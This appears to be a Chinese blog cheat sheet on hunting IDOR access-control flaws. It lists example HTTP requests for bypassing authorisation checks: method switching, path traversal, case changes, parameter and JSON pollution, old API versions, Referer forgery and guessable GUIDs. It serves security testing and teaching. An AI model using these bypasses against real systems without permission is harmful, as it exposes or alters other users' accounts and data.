IDOR漏洞挖掘技巧与waf绕过
基本步骤:
1. 如果可能,创建两个帐户,否则首先枚举用户。
2. 检查端点是私有的还是公共的,是否包含任何类型的id参数。
3. 尝试将参数值更改为其他用户id,看看是否对他们的帐户有任何影响。
4. 完成! !
寻找可能存在漏洞的功能点
注册
密码找回
图片简介
帐户删除
帐户信息
查看、删除和创建 api_key
允许阅读任何评论
更改价格
将硬币从美元换成乌阿罗
如果 ID 使用 md5、base64 等编码,请尝试解码该 ID
GET /GetUser/dmljdGltQG1haWwuY29t
[...]
[ ] 更改 HTTP 请求方法
GET /users/delete/victim_id ->403
POST /users/delete/victim_id ->200
可以fuzz以下请求方法
GET
HEAD
POST
PUT
CONNECT
COPY
DELETE
LABEL
LOCK
MOVE
OPTIONS
PATCH
POUET
TRACE
TRACK
UNCHECKOUT
UPDATE
VERSION-CONTROL
尝试替换参数名称
原始的如下:
GET /api/albums?album_id=<album id>
尝试修改成这样的:
GET /api/albums?account_id=<account id>
提示:有一个名为Paramalyzer的Burp扩展,它将通过记住您传递给主机的所有参数来帮助实现这一点。
路径遍历
POST /users/delete/victim_id ->403
POST /users/delete/my_id/..victim_id ->200
更改请求内容类型
Content-Type: application/xml ->
Content-Type: application/json
将非数字 id 替换为数字 id
GET /file?id=90djbkdbkdbd29dd
GET /file?id=302
大小写绕过
GET /admin/profile ->401
GET /Admin/profile ->200
GET /ADMIN/profile ->200
GET /aDmin/profile ->200
GET /adMin/profile ->200
GET /admIn/profile ->200
GET /admiN/profile ->200
发送通配符*而不是 ID
GET /api/users/user_id ->
GET /api/users/*
永远不要忽略编码/hash ID
对于hash ID,创建多个帐户并了解应用程序用户分配ID的模式
Google Dorking/公共表格
搜索具有搜索引擎可能已经索引的ID的所有端点
暴力破解隐藏的HTTP参数
可以使用如下工具:
arjun , paramminer
绕过对象级授权 如果默认情况下不存在,则将参数添加到端点
GET /api_v1/messages ->200
GET /api_v1/messages?user_id=victim_uuid ->200
HTTP 参数污染 为同一参数赋予多个值
GET /api_v1/messages?user_id=attacker_id&user_id=victim_id
GET /api_v1/messages?user_id=victim_id&user_id=attacker_id
GET users=01
GET users=01&users=02
更改文件类型
GET /user_data/2341 -> 401
GET /user_data/2341.json -> 200
GET /user_data/2341.xml -> 200
GET /user_data/2341.config -> 200
GET /user_data/2341.txt -> 200
json参数污染
{"userid":1234,"userid":2542}
在body中用数组包装 ID
{"userid":123} ->401
{"userid":[123]} ->200
用 json 对象包装 id
{"userid":123} ->401
{"userid":{"userid":123}} ->200
测试 旧的API 版本
GET /v3/users_data/1234 ->401
GET /v1/users_data/1234 ->200
如果网站使用 graphql,请尝试使用 graphql 查找 IDOR!
GET /graphql
[...]
GET /graphql.php?query=
[...]
将Referer或其他的请求头参数修改为一致
【403】
GET /users/02
Referer: example.com/users/01
【200】
GET /users/02
Referer: example.com/users/02
试试如下的GUIDs
00000000-0000-0000-0000-000000000000
11111111-1111-1111-1111-111111111111
22222222-2222-2222-2222-222222222222
33333333-3333-3333-3333-333333333333
44444444-4444-4444-4444-444444444444
55555555-5555-5555-5555-555555555555
66666666-6666-6666-6666-666666666666
77777777-7777-7777-7777-777777777777
88888888-8888-8888-8888-888888888888
99999999-9999-9999-9999-999999999999
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果